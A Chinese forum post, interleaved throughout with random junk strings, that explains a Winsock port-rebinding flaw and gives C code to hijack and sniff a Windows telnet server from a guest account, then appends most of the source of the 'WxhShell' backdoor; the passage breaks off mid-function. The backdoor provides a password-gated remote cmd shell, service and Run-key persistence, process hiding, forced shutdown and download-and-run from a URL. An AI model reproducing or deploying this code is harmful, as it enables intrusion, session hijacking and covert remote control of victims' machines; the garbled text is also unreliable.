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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dJT]/g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DXz}YIEC ;"(foY"L saddr.sin_family = AF_INET; Wu4Lxv]B4 ?5_7;Ha saddr.sin_addr.s_addr = htonl(INADDR_ANY); =FE|+!>PA mM`wITy bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6-?66gmT K>*a*[t0Sy 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V&-~x^JK M\yT).>z 这意味着什么?意味着可以进行如下的攻击: Neg,qOt !9Aaj<yxm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T&Lb<'f ^i:`ZfA# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (aD_zG=k5 5:'hj$~|\1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &u#&@J pdE3r$C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?LvCR_D: zZVfj:i8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z dO#0tN PRz/inru- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _YcA+3ZL f=)2f= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (SKVuR%Jj *S/_i-ony #include H$I=W>; #include L!=QR8?@E #include ~gGZmTb #include 4:U?u DWORD WINAPI ClientThread(LPVOID lpParam); BJ% eZ. int main() !
u:Weoz { `FoxP WORD wVersionRequested; 7Hm3;P. DWORD ret; (V4
~`i4V WSADATA wsaData; &hRvol\J BOOL val; .A6(D$O k SOCKADDR_IN saddr; K)J(./ SOCKADDR_IN scaddr; =JJL[}a| int err; liXdNk8 SOCKET s; wE~V]bmtW SOCKET sc; ;qrB\j" int caddsize; Dk?\)lD` HANDLE mt; {mAU3x DWORD tid; HuOIFv wVersionRequested = MAKEWORD( 2, 2 ); 66fO7OJs err = WSAStartup( wVersionRequested, &wsaData ); ~8lwe*lNV if ( err != 0 ) { r/SG 4 printf("error!WSAStartup failed!\n"); _-EyT return -1; r#XT3qp$d } ?M[ A7? saddr.sin_family = AF_INET; ;VWAf;U;B $sEy%- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'Fmvu o<N nV saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EVoEszR saddr.sin_port = htons(23); TYy.jFT- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0{=`on; { ,T2G~^0 printf("error!socket failed!\n"); -;'1^ return -1; R)c'#St } gvLf|+m val = TRUE; nw-I|PVTNa //SO_REUSEADDR选项就是可以实现端口重绑定的 ]C) 4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J>\B`E { 92EWIHEWZ printf("error!setsockopt failed!\n"); Z?\2F% return -1; }mAa}{_ } rb|U;)C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [i]Ub0Dh7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SLh(9%S; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /kfgx{jZ ['T:ea6B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;aw=MV { P'`r ret=GetLastError(); \_lod kf printf("error!bind failed!\n"); Rj4|Q:XG return -1; cJrmm2.0kD } -4cXRv] listen(s,2); bua+I;b while(1) gM
_hi { ]wtb-PC caddsize = sizeof(scaddr); QDu 2?EYZq //接受连接请求 o#skR4lwe sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rb.SY{}C if(sc!=INVALID_SOCKET) g[3)P+ { 9^j &VmF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !P-^O if(mt==NULL) IP(Vr7-v { )gMG#>up@ printf("Thread Creat Failed!\n"); ~P@Q7T* break; ypy68_xyW } PS[+~>% } mFi&YpHu3 CloseHandle(mt); %T~ig[GstX } v&=gF/$ closesocket(s); o|$AyS{1 WSACleanup(); :$n=$C-wp return 0; kOed ]>H } "T|PS6R~ DWORD WINAPI ClientThread(LPVOID lpParam) A -b
[>}_ { *m#Za<_Gv SOCKET ss = (SOCKET)lpParam; yrlf+tl SOCKET sc; Y 1t\iU unsigned char buf[4096]; Wr( y)D<y} SOCKADDR_IN saddr; =17t-
[ long num; D}mjN=Y DWORD val; "OdXY"G DWORD ret; WS`qVL]^& //如果是隐藏端口应用的话,可以在此处加一些判断 2Tagr1L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 }&[ saddr.sin_family = AF_INET; i(NdGL#P saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fP.
6HF_p_ saddr.sin_port = htons(23); zR{W?_cV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xLC3>>P { jJ5W>Q1mK$ printf("error!socket failed!\n"); K|Di1)7=/ return -1; v+X)Qmzf~ } 6#HK'7ClL val = 100; m_)FC-/pSl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xjVS { <UQe.K" ret = GetLastError(); !Y[lQXv return -1; XR;eY:89 } eb =D/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1
=M ?GDc { 7BJzMlJ1Y ret = GetLastError(); QC9eUYe return -1; fP(d8xTx2y } m+Rv+_R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K[!&b0O { [_Qa9e printf("error!socket connect failed!\n"); @]ytla>d closesocket(sc); =_:et0 closesocket(ss); d%o&+l# return -1; IyWI5Q"t } tV{4"Ij9[ while(1) 6BCf:mqP { )s%[T-uKi //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l\@)y4
+ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ::}{_ Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s;6CExH num = recv(ss,buf,4096,0); * /:x sI if(num>0) lp(8E6 send(sc,buf,num,0); Ro9tZ'N!S
else if(num==0) id1s3b; break; ~V\D|W9 num = recv(sc,buf,4096,0); bp~g;h*E2 if(num>0) SN1}xR$ send(ss,buf,num,0); Z7= `VNHc else if(num==0) `.i!NBA'6 break;
.p e( lP } R
wZ]),o closesocket(ss); .%L?J E closesocket(sc); jbS\vyG return 0 ; pP*a } $d_|NssvU ;n&t>pBM OHhsP}/ ========================================================== +Zaj,oEE
`1bv@yzq 下边附上一个代码,,WXhSHELL !Rhlf.x ,}K7Dg^1 ========================================================== 61)-cVC *q-['"f #include "stdafx.h" U
G~b a +,#$:fs u #include <stdio.h> v%iof1 T'
#include <string.h> k\NMy#]Zt #include <windows.h> CD~z=vlK- #include <winsock2.h> n}!PO[m~ #include <winsvc.h> !& z(:d #include <urlmon.h> .MP !` O vk_\On #pragma comment (lib, "Ws2_32.lib") GJoS #s #pragma comment (lib, "urlmon.lib") Z2'Bk2 L 1$p2}Bf{n #define MAX_USER 100 // 最大客户端连接数 Q|D @Yd\ #define BUF_SOCK 200 // sock buffer IVAmV!.z #define KEY_BUFF 255 // 输入 buffer =AEBeiz
?B}{GL2) #define REBOOT 0 // 重启 $h*L=t( #define SHUTDOWN 1 // 关机 8n*.).33 <w)r`D6 #define DEF_PORT 5000 // 监听端口 U'<KC"f:'! )'6DNa[y #define REG_LEN 16 // 注册表键长度 t+1 %RyKFB #define SVC_LEN 80 // NT服务名长度 TjwBv6h ^$'z!+QRM // 从dll定义API p IU&^yX> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .ZJRO>S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k[:bQ)H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <U!`J[n% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Za7^c. 8&)DE@W // wxhshell配置信息 w-t8C=Z struct WSCFG { xT+zU} z int ws_port; // 监听端口 B#.L char ws_passstr[REG_LEN]; // 口令 b"#WxgaF int ws_autoins; // 安装标记, 1=yes 0=no !g(KK|`,m char ws_regname[REG_LEN]; // 注册表键名 QT>`^/]d char ws_svcname[REG_LEN]; // 服务名 U8LtG/ char ws_svcdisp[SVC_LEN]; // 服务显示名 G"Sd@%W( char ws_svcdesc[SVC_LEN]; // 服务描述信息 er!DYv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :[hgxJu+ int ws_downexe; // 下载执行标记, 1=yes 0=no |~X ;1j! char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" L;'"A#Pa char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]y1OFKYv Vp3ZwS }; TwVlg; \<y#R~7s // default Wxhshell configuration ?MgUY)X struct WSCFG wscfg={DEF_PORT, \\u<S=G "xuhuanlingzhe", S&b*rA02zp 1, \4-"L> "Wxhshell", A8oo@z68n> "Wxhshell", +gJ8{u!=k "WxhShell Service", o!{w"K "Wrsky Windows CmdShell Service", 2M68CE "Please Input Your Password: ", 7]||UuF< 1, 'Pn3%&O$ " http://www.wrsky.com/wxhshell.exe", -8j+s}Q "Wxhshell.exe" ,u`YT%&L }; Od5JG .] q(2K6 // 消息定义模块 AigS!- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S/ODqL| char *msg_ws_prompt="\n\r? for help\n\r#>"; nysUZB
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; OVhE??# char *msg_ws_ext="\n\rExit."; 9/ibWa\. char *msg_ws_end="\n\rQuit."; \8?Tdx= char *msg_ws_boot="\n\rReboot..."; a6WI170^1 char *msg_ws_poff="\n\rShutdown..."; /iJ4{p char *msg_ws_down="\n\rSave to "; c%'RR?Tl %|oJ>+ char *msg_ws_err="\n\rErr!"; k|lcc^[0 char *msg_ws_ok="\n\rOK!"; }DK7'K znaUB v_ char ExeFile[MAX_PATH]; T
QSzx%i2 int nUser = 0; [ji#U s:h HANDLE handles[MAX_USER]; b{]z
wpf int OsIsNt; Dm-zMCf}Q I/L_@X<*r
SERVICE_STATUS serviceStatus; 7w/4QiI SERVICE_STATUS_HANDLE hServiceStatusHandle; pnbIiyV fDvl/|62{ // 函数声明 Db1pW=66: int Install(void); Xt@Z}B))pu int Uninstall(void); cxr=k%~}J int DownloadFile(char *sURL, SOCKET wsh); INi]R^- int Boot(int flag); Y!gCMLL void HideProc(void); b7wvaRe. int GetOsVer(void); V&\[)D'c int Wxhshell(SOCKET wsl); +(1zH-^. void TalkWithClient(void *cs); h?8]C#6^ int CmdShell(SOCKET sock); <\}KT*Xp int StartFromService(void); HP3lz,d int StartWxhshell(LPSTR lpCmdLine); w6W}"Uw /|eA9 ] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jg\Z;_!W VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZfgJ.<< I|
b2acW // 数据结构和表定义 #~l(]h@
) SERVICE_TABLE_ENTRY DispatchTable[] = pt?q#EfFJ { UmclTGn {wscfg.ws_svcname, NTServiceMain}, +i2}/s@JJ {NULL, NULL} @>)r}b }; yX0dbW~@y 8W#heW\-] // 自我安装 "t_-f7fS7 int Install(void) R]btAu;Z { a8 mVFm char svExeFile[MAX_PATH]; L"j
tf78 HKEY key; < !dqTJos strcpy(svExeFile,ExeFile); yRfSJbzaf\ KjE+QUa // 如果是win9x系统,修改注册表设为自启动 Y~(Md@!0S if(!OsIsNt) { <c,u3cp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Pe>Es|^A# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W>p-u6u%E| RegCloseKey(key); /O^RF } if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7El[ > RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t[oT-r RegCloseKey(key); .On|uC)! return 0; 5_z33,q2 }
OPx`u } iIq)~e/ Z } vc+A RgvH+ else { 8qEVOZjV& vOc 9ZE // 如果是NT以上系统,安装为系统服务 '_/Bp4i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fmiz,$O4? if (schSCManager!=0) x>* Drm 7 { v!ujj5-$I SC_HANDLE schService = CreateService yz LpK; ( x\s|n{ schSCManager, ^,;z|f'%* wscfg.ws_svcname, Tp_L%F wscfg.ws_svcdisp, KFvQ SERVICE_ALL_ACCESS, j;fpQ_KL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [zlN!.Z SERVICE_AUTO_START, =IW?WIXk SERVICE_ERROR_NORMAL, 3MY(<TGX svExeFile, 24 )(5!:" NULL, /U"CO 8Da NULL, eL\;Nf+Zp NULL, *i- _6s NULL, r;Gi+Ca5 NULL L.1_(3NG ); ]b%Hy if (schService!=0) Wr3mQU { [I$BmGQ CloseServiceHandle(schService); \e'R@ CloseServiceHandle(schSCManager); <p\6AnkMr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YJ;j x0 strcat(svExeFile,wscfg.ws_svcname); |*'cF-lp6v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MF'$~gxo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t$xY #: RegCloseKey(key); v%s`~~u%^ return 0; krC{ed } Y<Xz
wro0 } r]l!WRn CloseServiceHandle(schSCManager); W81E!RyP` } OZTPOz. } l#H#+*F 2GWMlI return 1; 'iGzkf}j } $;/}?QY( MV\|e1B} // 自我卸载 W'.s\e?gh int Uninstall(void) 2#<xAR { %d>=+Ds[ HKEY key; a(9L,v#? :)_~w4& if(!OsIsNt) { l*kPOyB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LX@/RAd vz RegDeleteValue(key,wscfg.ws_regname); '`XX
"_k3 RegCloseKey(key); )d$glI+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HN.3 RegDeleteValue(key,wscfg.ws_regname); u\LFlX0sO RegCloseKey(key); hvuIxqv !y return 0; %9M~f* } y7$iOR } 6C-/`>m } m"fNK$_d else { y6IXd W g|<]B$yN# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _%B^9Yl3( if (schSCManager!=0) @H7Wb} { >9q&PEc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |iR T!
] if (schService!=0) ;3kj2} { 9XRZ$j}L if(DeleteService(schService)!=0) { )Jk0v_ X CloseServiceHandle(schService); mXUGe:e8 CloseServiceHandle(schSCManager); &/uu)v return 0; t@R
?Rgu3 } -GqT7`:(H4 CloseServiceHandle(schService); ltgc:&=|@ } *r=:y{!Y d CloseServiceHandle(schSCManager); Gu'rUo3Do } Pj4/xX } YQpSlCCo
3 h~p>re return 1; o4%y>d) } g"?Y+j 59%tXiO // 从指定url下载文件 wmTq` XH) int DownloadFile(char *sURL, SOCKET wsh)
l"!Ko G7 { \uXcLhXN HRESULT hr; j~+>o[c char seps[]= "/"; g-e#!( char *token; A%^w^f char *file; 1xbK'i:-S char myURL[MAX_PATH]; w7FW^6Zl char myFILE[MAX_PATH]; lK4M.QV
?\ t\
7~S&z strcpy(myURL,sURL); *_KFW@bC: token=strtok(myURL,seps); ,Vh{gm1 while(token!=NULL) ^ mS
o1?< { |6(ZD^w file=token; raCi 8 token=strtok(NULL,seps); uFLx } nIoPC[%_
&CIVL#];e GetCurrentDirectory(MAX_PATH,myFILE); un=2}@ ' strcat(myFILE, "\\"); Oer^Rk strcat(myFILE, file); .>mr%#p send(wsh,myFILE,strlen(myFILE),0); sp
]zbX? send(wsh,"...",3,0); KLL;e/Gf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [<{Kw=X__2 if(hr==S_OK) x)JOClLr return 0; cP}KU 5j else u&9 r2R959 return 1; ]\xy\\b/` K"0PTWt } >NKe'q<)3 q-`RI*1] // 系统电源模块 KrXdnY8 int Boot(int flag) Ai/b\:V9S { g"L|n7_b HANDLE hToken; pFm=y#!t TOKEN_PRIVILEGES tkp; $ KRI'4 y8 KX<2s1 if(OsIsNt) { r} P<iX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c1_5, 1U' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Pg}Zz < tkp.PrivilegeCount = 1; Udc=,yo3Qm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q~59F@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %uoQ9lD' if(flag==REBOOT) { X5khCLHi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }#qGqY*@LK return 0; V %_4% } m1IKVa7-\} else { 6sE{{,OGB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !p[9{U->o; return 0; RKa}$
7 } W0C@9&pn6 } !TP@-
X; else { yY&3p1AxW] if(flag==REBOOT) { R-RDT9&< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :mS# h@l return 0; 3"kdjOB } 9Li%KOY else { 9XHz-+bQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mze;k3 return 0; sz9G3artK& } <97d[/7i } :KKa4=5L 3 AHY| return 1; +R\vgE68 } sT/c_^y u1~9{"P* // win9x进程隐藏模块 %\kOLE2` void HideProc(void) q\q=PB6r { ErT{(t7 7-~Q5Kr. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .iQT5c if ( hKernel != NULL ) -\y-qHgb/ { 'Vr$MaO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +*n-<x5" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e.*%K!( FreeLibrary(hKernel); b:(- } k` {@pt. 1N\D5g3 return; c=;:R0_'t } N,J9Wu ZJ\ * FeQ*`r // 获取操作系统版本 -@F fU2 int GetOsVer(void) `?y<>m* { -3&G"hfK OSVERSIONINFO winfo; 2qHf' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >F@qpjoQE GetVersionEx(&winfo); ooj~&fu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?+t1ME| return 1; 8LI-gp\ 2 else {Rear2 return 0; JI/_ce } X>I)~z}9# a|BcnYN // 客户端句柄模块 ;oxAe<VIj int Wxhshell(SOCKET wsl) ^Q{Bq { H3H_u4_?SE SOCKET wsh; /R
LI,.% struct sockaddr_in client; NJ MJ DWORD myID; X]y)ZF26 gUAxyV while(nUser<MAX_USER) v`c$!L5 { v6GsoQmA int nSize=sizeof(client); jhGlG-^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $3d}"D if(wsh==INVALID_SOCKET) return 1; PU {uE[ 1
Vy,&[c~" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &5%dhc4&!& if(handles[nUser]==0) c DrebU closesocket(wsh); FkqQf8HB else /_\#zC[ nUser++; #n } L!'k !k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =l9T7az &W6^6=E{g return 0; k{AyD`'Q } j+8TlVur :+%Zh@u\ // 关闭 socket >az;!7~cD void CloseIt(SOCKET wsh) O%f8I'u$ { [,~TaP}m closesocket(wsh); -/D|]qqHm nUser--; 46h@j>/K ExitThread(0); `aqrSH5^h } MqKye8h9f {S<>&?XB // 客户端请求句柄 8yWoPm<A void TalkWithClient(void *cs) %>WbmpIyc { Vh<A2u3& 1P]de'-`j SOCKET wsh=(SOCKET)cs; J.RAmU < char pwd[SVC_LEN]; '(#g1H3 char cmd[KEY_BUFF]; S :8OQI char chr[1]; v8I{XU@% int i,j; gLL\F1|0x nPkZHIxuD while (nUser < MAX_USER) { &*&?0ov^" CkRX>)=py if(wscfg.ws_passstr) { zQH]s?v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t/Z:)4Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =C
f(B<u //ZeroMemory(pwd,KEY_BUFF); Dz_eB"} i=0; DP7C?}( while(i<SVC_LEN) { 3P <'F2o [B0K // 设置超时 [rreFSy#@ fd_set FdRead; h7;bclU struct timeval TimeOut; ]$M<]w,IJ2 FD_ZERO(&FdRead); cUK\x2 FD_SET(wsh,&FdRead); bO<0qM~ TimeOut.tv_sec=8; S^cH}-+ TimeOut.tv_usec=0; \m@Y WO?L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0ZC,BS`D^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uu%?K@Qq #^&jW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WjM>kWv pwd =chr[0]; \h3e-) if(chr[0]==0xd || chr[0]==0xa) { z]Acs pwd=0; VG*'"y*%w break; sFb4` } f]d!hz! i++; Jbp5'e
_ } y~F<9;$= ^GYq#q9Q // 如果是非法用户,关闭 socket TK>{qxt:= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u8OxD } =V|Nn0E WwW^[k (X send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~4)Y#IxL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X^< >6|) GJ}.\EaAJ while(1) { w}M3x^9@ LW39YMw< ZeroMemory(cmd,KEY_BUFF); LxT rG)4 [BBpQN.^q6 // 自动支持客户端 telnet标准 (3md:r<- j=0; P 4;{jG while(j<KEY_BUFF) { &.*uc|{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); agaq`^[(P cmd[j]=chr[0]; 7CrpUh if(chr[0]==0xa || chr[0]==0xd) { o@dy:AR cmd[j]=0; 5a(<%Q
<" break; CtT~0Y| } ;o$;Z4:.D j++; ;IC'Gq } KtTza5aF HR3_@^<7 // 下载文件 v3JPE])/ if(strstr(cmd,"http://")) { 'Kis hXOn] send(wsh,msg_ws_down,strlen(msg_ws_down),0); aed+C:N if(DownloadFile(cmd,wsh)) lug}
Uj send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ef1XQ{i* else *=vlqpG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3$"/>g/ } \8"QvC] else { ;aK.%-s-Z jX|=n.#q switch(cmd[0]) { Q#WE|,a Sl.o,W^ // 帮助 Ko}2%4on case '?': { K&UE0JO' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B
<+K<,S break; k!doIMj } j??tmo // 安装 cw+g
z!! case 'i': { JIUtj7HQ if(Install()) ~tNY"{OV# send(wsh,msg_ws_err,strlen(msg_ws_err),0);
A1Q
+0 else n(jjvLf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lA{(8sKN break; 8X~h?^Vz } /Dw@d,&[ // 卸载 `{G?>z Fp case 'r': { 9bEM#Hj if(Uninstall()) VD#!ztcY' send(wsh,msg_ws_err,strlen(msg_ws_err),0); bag&BHw else pGGV\zD^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M5Wl3tZL break; =hcPTU-QU } -SJSTO[/J // 显示 wxhshell 所在路径 *mV&K\_ case 'p': { SOH%Q_ char svExeFile[MAX_PATH]; d~<QAh#rG strcpy(svExeFile,"\n\r"); wsfysat$ strcat(svExeFile,ExeFile); /Ri,>}n send(wsh,svExeFile,strlen(svExeFile),0); 8ath45G @ break; 6F`\YSn+ } %FlA":W // 重启 4zzlazU case 'b': { E0`[G]*G send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WW3
B if(Boot(REBOOT)) cqk]NL`' send(wsh,msg_ws_err,strlen(msg_ws_err),0); ja75c~RUw else { 8&T,LNZoY closesocket(wsh); kr{) ExitThread(0); M;qb7Mu } q5?L1 break; 966<I56+ } JmjxGcG // 关机 \ 522,n` case 'd': { h^d\xn9GT# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;>C9@S+ if(Boot(SHUTDOWN)) S*rO0s: send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r]TA]DR else { )]A9~H closesocket(wsh); y.fs,!|%@ ExitThread(0); &9@gm--b: } iIB9j8 break; #7\b\~5 } {~nvs4X // 获取shell kdBV1E+:C case 's': { /u?9S/ CmdShell(wsh); _-6e0sr Z closesocket(wsh); F(E<,l2[ ExitThread(0); V{FE [v_ break; ?C~X@sq } #|ddyCg2 // 退出 QmHwn)Ly case 'x': {
7&px+155 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q!x`M4 CloseIt(wsh); tO4):i1 break; T\cR2ZT~ } =Pj@g/25u // 离开 s@z{dmL case 'q': { QxA0I+i send(wsh,msg_ws_end,strlen(msg_ws_end),0); S" {GlRpd closesocket(wsh); \2Xx%SX WSACleanup(); vQy$[D* exit(1); !Z-9tYO break; u/#&0_
P } Uf^RLdoDn } 7 7^
"xsa } ~BtKd* ~* ,{pGP# // 提示信息 "SLvUzO>q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `1$y( w] } k%^<}s@ } ~z>BfL k}-]W@UCa? return; ]xI?,('_m } PC[cHgSYU gjQ=8&i // shell模块句柄 @?Fx int CmdShell(SOCKET sock) ^ePsIl1E { Fj,(_^ STARTUPINFO si; Ny B&uf ZeroMemory(&si,sizeof(si)); y]J3hKs si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hMz&JJ&B si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o|+E+l9\ PROCESS_INFORMATION ProcessInfo; FXeV6zfrE char cmdline[]="cmd"; =Iy/cHK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dw*Arc+3V return 0; -}< d(c } :;q>31:h
A<2I! // 自身启动模式 R|$[U int StartFromService(void) xHm/^C&px { 0FTRm2( typedef struct (GnVwJ<v9V { XN4oL[pO DWORD ExitStatus; Et)920 DWORD PebBaseAddress; _ r~+p DWORD AffinityMask; 'HJ/2-= DWORD BasePriority; T^N L:78 ULONG UniqueProcessId; t18UDR{ ULONG InheritedFromUniqueProcessId; v&e-`.xR } PROCESS_BASIC_INFORMATION; %8a=mQl1^ T7^ulG1' PROCNTQSIP NtQueryInformationProcess; YN4"O> z2.*#xTZn static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `(!W s\: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O1|B3M[P G&.d)NfE HANDLE hProcess; K/Sq2: PROCESS_BASIC_INFORMATION pbi; .|U4N/XN%q L>0!B8X2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9^(HXH_f if(NULL == hInst ) return 0; Y:rJK|m NoJUx['6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 